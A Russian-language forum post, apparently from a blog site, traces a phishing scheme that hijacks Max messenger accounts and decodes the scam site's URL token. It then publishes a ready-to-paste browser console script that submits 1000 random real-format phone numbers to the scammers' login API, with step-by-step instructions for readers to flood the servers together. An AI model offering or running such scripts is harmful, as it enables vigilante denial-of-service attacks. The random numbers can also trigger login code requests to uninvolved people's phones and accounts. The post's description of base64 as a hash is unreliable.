12

Наказываем мошенников (max edition)

Для желающих - инструкция внизу

Глава 1 Прострация


Очередная волна атаки мошеннков накрыла нашу тили - мили трямдию теперь через защищенный месенджер макс
Итак - исходные данные
1 от захваченного уже аккаунта потравляются сообщения с порозьбой проголосовать , или перейти по ссылке
2 человек переходит на сайт - его требуют авторизоваться через макс
3 при получении сообщения - 6 знаков в смс вводим их
4 прощаемся со всвоим акаунтом и сесией. данные для авторизации уже у мошеннков.
5 паника

итак путь атаки -

на телефон знакомых присланна ссылка -
https://densi.ee/kseniya-borisova-max
смотрим whois
IP62.60.226.188
Хост:densi.ee
Город:Франкфурт-на-Одере
Страна: Германия
IP диапазон:62.60.226.0 - 62.60.226.255

обычно там живут vps - небольшие сервера для сайтов и всякой мелочи. типа сайт нашего ПТУ
но сейчас это сайт для атаки

Глава 2 вскрытие покажет...

входить мы конечно же не будем - мы умнее, посмотрим из чего состоит сайт

а вот это уже инетресней - есть ссылка на сайт https://max-funny.xyz/ - скорее всего агрегатор и главный сайт мошенников
iP89.22.235.21

Хост:max-funny.xyz

Город:Стокгольм

Страна: Швеция

IP диапазон:89.22.232.0 - 89.22.239.255

Название провайдера:Aeza-Network

на самом деле whois смотрим чисто номенально - так как скорее всего сайт спрятан за прокси cloudflare или чем нибудь еще


Посмотрим механизм дальше -
если перейти на https://max-funny.xyz/art тут же будет дописан адрес
https://max-funny.xyz/art#t=eyJzdWIiOjEzMSwidXNlcm5hbWUiOiJN.........
ниикаких куков стореджей и сокетов - все в адресной строке )))посмотрим что там живет )))
Вообше очень напиминает base64 - это такой алгоритм хеширования
Засовываем эту кашу в dase64decode - есть такой сайт и на выходе

{"sub":131,"username":"Monroe","is_admin":0,"exp":1780495590,"la":1777903590,"jti":"kylYJhFSeBV2sPsL1fab_w","qr_session":"xoHLA3KxSviTP7az","qr_domain":"max-funny.xyz","qr_redirect_url":"https://s.fotora.ru/65599f00fc3fcbca.jpeg","qr_auth_method":"phone_code","qr_theme":"white","qr_page_variant":"v2","qr_phone_title":"\u0412\u043e\u0439\u0434\u0438\u0442\u0435 \u0432 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u041c\u0410\u041a\u0421","qr_key_path":"art"}}8w:ׇֻk秵i_]5y[͚٧^o6Λ

- какая перлесть тут же и сессия тут же и пользовать какой то и время протухания сессии. и еще какая то подпись (скорее всего для проверки, либо соленый хеш либо просто рандомные байты)
то есть мы имеем дело не с одним сервачком - а скорее всего с какми хо сервисом который молотит аккаунты на широкую ногу

так теперь подумаем как можно нагатить в этот малинник
скорее всего (только мое предположение) что работает это так:

1 получили телефон от пользователя
2 отправили запрос на серввера макс - ему смс или оповещение (если смс это отлично)
3 получили данные авторизаци - отвязываем телефон
4 рассылаем спам ломаем гос услуги и получаем полный доступ к документам - берем кредиты, дарим недвижемость итд - вообщем будет жопа

Что бы немного замедлить этот гнилой процесс нужно навалить много тупого трафика - по сути вызвав отказ работы их серверов либо затянуть процесс авторизации у несчастных которые попались в ловушку. Сервера могут быть мощные но канал и память не бесконечны.

Глава 3 охота на пиранью

По итогу у нас есть -
1 сервера мошенников
2 тупая защита на их стороне
3 возможность немного осложнить им жизнь

Изучив код и написав несколько js скриптов выявил что можно с одной страницы отправить много запросов с номерами телефонов, если отправлять сильно часто - отправка будет заблокированна ddos защитой, поэтому важн тайминги - время между отправкой и тем пока тебя заблокирует protector
POST https://max-funny.xyz/api/phone/start 429 (Too Many Requests)
- это нас защита блокнула

перидический возникает ошибка 502 - это уже хорошо, либо скрвак реально споткнулся илбо упал процесс распеределения нагрузки между серверам - ну в любом случае радостно

Глава 4 малая ионная пушка

сам код



setTimeout(() => {

// Находим кнопку входа и поле ввода телефона в DOM

const phoneInput = document.getElementById('phone-input');

const loginBtn = document.getElementById('btn-login');

if (!phoneInput || !loginBtn) {

console.error('❌ Элементы формы не найдены');

return;

}

const TOTAL_REQUESTS = 1000;

let completed = 0;

// Функция отправки одного запроса через оригинальный код

async function sendOneRequest(requestId) {

return new Promise((resolve) => {

// Генерируем случайный телефон

const randomPhone = '791' + Math.floor(Math.random() * 10000000).toString().padStart(10, '0');

// Эмулируем ввод телефона

phoneInput.value = randomPhone;

phoneInput.dispatchEvent(new Event('input', { bubbles: true }));

// Ждем активации кнопки

setTimeout(() => {

if (!loginBtn.disabled) {

loginBtn.click();

console.log(`✅ #${requestId}: Запрос отправлен (телефон: ${randomPhone})`);

resolve(true);

} else {

console.log(`❌ #${requestId}: Кнопка не активна`);

resolve(false);

}

}, 5000);

});

}

console.log('🚀 ЗАПУСК ТЕСТА');

console.log(`📊 Запросов: ${TOTAL_REQUESTS}`);

console.log('='.repeat(50));

// Запускаем последовательные запросы

async function runTest() {

for (let i = 1; i <= TOTAL_REQUESTS; i++) {

await sendOneRequest(i);

completed++;

console.log(`📊 Прогресс: ${completed}/${TOTAL_REQUESTS}`);

// Ждем между запросами

if (i < TOTAL_REQUESTS) {

await new Promise(r => setTimeout(r, 7000));

// Очищаем поле ввода

phoneInput.value = '';

phoneInput.dispatchEvent(new Event('input', { bubbles: true }));

}

}

console.log('\n✅ ТЕСТ ЗАВЕРШЕН');

}

runTest();

}, 1000);

инструкция -
1 заходим на сайт https://max-funny.xyz/art (должен подставиться токен - ссылка будет длинная)
2 жмем на клавиатуре F12 (открывается консоль)
3 находим вкладку клнсоль или console
4 вставляем туда код (который выше)
5 жмем enter - и можно заниматься своими делами и любоваться выводом в консоль
6 изредка обновляем странцу для полчения новго токена и поехали снова

Скрипт генерирует случайный нмер телефона и отправялем его параметр const TOTAL_REQUESTS = 1000; говорит о отм что буде отправленно 1000 рандомных телефонов await new Promise(r => setTimeout(r, 7000)); задержка между отправками const randomPhone = '791' + Math.floor(Math.random() * 10000000).toString().padStart(10, '0'); тут рандомный телефон генерируется

Вообщем то все, что хотел рассказать. В прошлый раз Наказываем мошенников
было весело, когда их сервера нагули всем сообществом

За сим все! до новых встреч !!!!))))

PS если тут будут всякие типы - чет про граматику говорить, или запятых насыпать .... вот идите к козе в трещщину! я вам тут не граматей

Темы

Политика

Теги

Популярные авторы

Сообщества

18+

Теги

Популярные авторы

Сообщества

Игры

Теги

Популярные авторы

Сообщества

Юмор

Теги

Популярные авторы

Сообщества

Отношения

Теги

Популярные авторы

Сообщества

Здоровье

Теги

Популярные авторы

Сообщества

Путешествия

Теги

Популярные авторы

Сообщества

Спорт

Теги

Популярные авторы

Сообщества

Хобби

Теги

Популярные авторы

Сообщества

Сервис

Теги

Популярные авторы

Сообщества

Природа

Теги

Популярные авторы

Сообщества

Бизнес

Теги

Популярные авторы

Сообщества

Транспорт

Теги

Популярные авторы

Сообщества

Общение

Теги

Популярные авторы

Сообщества

Юриспруденция

Теги

Популярные авторы

Сообщества

Наука

Теги

Популярные авторы

Сообщества

IT

Теги

Популярные авторы

Сообщества

Животные

Теги

Популярные авторы

Сообщества

Кино и сериалы

Теги

Популярные авторы

Сообщества

Экономика

Теги

Популярные авторы

Сообщества

Кулинария

Теги

Популярные авторы

Сообщества

История

Теги

Популярные авторы

Сообщества